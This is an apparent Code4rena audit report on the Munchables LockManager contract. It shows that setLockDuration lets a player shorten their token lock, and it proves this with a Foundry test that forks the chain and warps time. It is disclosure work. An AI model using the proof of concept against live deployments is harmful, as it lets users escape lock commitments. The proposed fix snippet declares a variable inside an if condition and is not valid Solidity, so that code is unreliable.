Munchables - Oxsadeeq's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L245

Vulnerability details

Impact

The UnlockTime variable of a player lock can be reduced by the player, this bug was listed as one of the 'Attack Ideas(https://code4rena.com/audits/2024-05-munchables#top)'.The issue is caused solely due to lack of proper-validation in the setLockDuration method .ie the method doesn't validate the newUnlock time against the former it just checks if the current timestamp+ new duration is greater than the unlocktime which would allow users to reduce their lock time.Check the POC.

Proof of Concept

/***

• SPDX-License-Identifier:LICENSED-BY-THE-PEAKY-BLINDERS
• @author:<Saediek> */ pragma solidity ^0.8; import "forge-std/Test.sol"; import "src/managers/LockManager.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "src/config/ConfigStorage.sol"; import "src/interfaces/ILockManager.sol";

/**

• @notice Mocks to reduce deployment of too many component which the lockManager depends on..
• I also added a getter in the LockManager:Paste into your test to make sure it works
• function getUnlockTime( address _user, address _token ) external view returns (uint256) { return lockedTokens[_user][_token].unlockTime; }

*/

contract LockManagerTest is Test { address private USDB = 0x4300000000000000000000000000000000000003; address private WETH; MockAccountManager private account_manager; MockOverlord private overlord; ConfigStorage private config; LockManager private lockmanager; address private Bob = 0xaAaaaAAAFfe404EE9433EEf0094b6382D81fb958;

constructor() {
    vm.createSelectFork(vm.envString("BLAST_RPC_URL"));
    config = new ConfigStorage();
    account_manager = new MockAccountManager();
    overlord = new MockOverlord();

    _init();
}

function _init() internal {
    config.setAddress(
        StorageKey.AccountManager,
        address(account_manager),
        false
    );
    config.setAddress(StorageKey.NFTOverlord, address(overlord), false);
    config.setAddress(StorageKey.USDBContract, USDB, false);
    config.setUniversalRole(Role.Admin, address(this));
    config.setUint(StorageKey.MaxLockDuration, 1e18, false);
    lockmanager = new LockManager(address(config));
    _configureLockDrop();
    ILockManager.ConfiguredToken memory _token = ILockManager
        .ConfiguredToken({
            usdPrice: 1e18,
            nftCost: 1e17,
            decimals: 18,
            active: true
        });
    lockmanager.configureToken(USDB, _token);
}

function _configureLockDrop() internal {
    ILockManager.Lockdrop memory _lock = ILockManager.Lockdrop({
        start: uint32(block.timestamp - 10),
        end: uint32(block.timestamp + 30 days),
        minLockDuration: 30 days
    });
    lockmanager.configureLockdrop(_lock);
}

function test_reduced_unlock_time() external {
    vm.startPrank(Bob);
    console.log("BOB'S BALANCE::[%s]", IERC20(USDB).balanceOf(Bob));
    IERC20(USDB).approve(address(lockmanager), 1e18);
    lockmanager.lock(USDB, 1e18);
    //UNLOCK is due 30 days from now
    //but is there a way bob could reduce his unlock-time??
    uint256 _unlockTime1 = lockmanager.getUnlockTime(Bob, USDB);
    console.log(
        "UNLOCK-TIMESTAMP OF BEFORE MANIPULATION:[%s]",
        _unlockTime1
    );
    //Bobs modified his lockDuration from the default 30 days to 15 days
    //after 15 days of locking his token .So Bob has equally reduced his lock time and can therefore unlock his tokens.
    _setNewDuration(Bob, 15 days, 15 days);
    uint256 _unlockTime2 = lockmanager.getUnlockTime(Bob, USDB);
    console.log("UNLOCK-TIMESTAMP AFTER MANIPUATION:[%s]", _unlockTime2);
    //Lastly check that the unlock time has been reduced.
    assertLe(_unlockTime2, _unlockTime1);
}

//Used to set a new duration for the user
/**
 *
 * @param _user Player's address
 * @param _newDuration new duration to be set in the player setting
 * @param _fastForwardTo amount of seconds to 'warp into the future'
 */
function _setNewDuration(
    address _user,
    uint256 _newDuration,
    uint256 _fastForwardTo
) internal {
    vm.startPrank(_user);
    vm.warp(block.timestamp + _fastForwardTo);
    lockmanager.setLockDuration(_newDuration);
    vm.stopPrank();
}

}

contract MockOverlord { function addReveal(address, uint16) external {} }

contract MockAccountManager { function getPlayer( address _receipient ) external view returns (address _player, MunchablesCommonLib.Player memory player) { player.registrationDate = 1; _player = _receipient; }

function forceHarvest(address) external {}

}

Tools Used:Foundry

Recommended Mitigation Steps: Replace the block.timestamp variable with the formerLock:

//Original Snippet in the LockManager.setLockDuration if ( uint32(block.timestamp) + uint32(_duration) < lockedTokens[msg.sender][tokenContract].unlockTime ) { revert LockDurationReducedError(); } //Modified Snippet if ( uint256 formerLockStart=lockedTokens[msg.sender][tokenContract].lastLockTime; uint32(formerLockStart) + uint32(_duration) < lockedTokens[msg.sender][tokenContract].unlockTime ) { revert LockDurationReducedError(); }

Assessed type

Other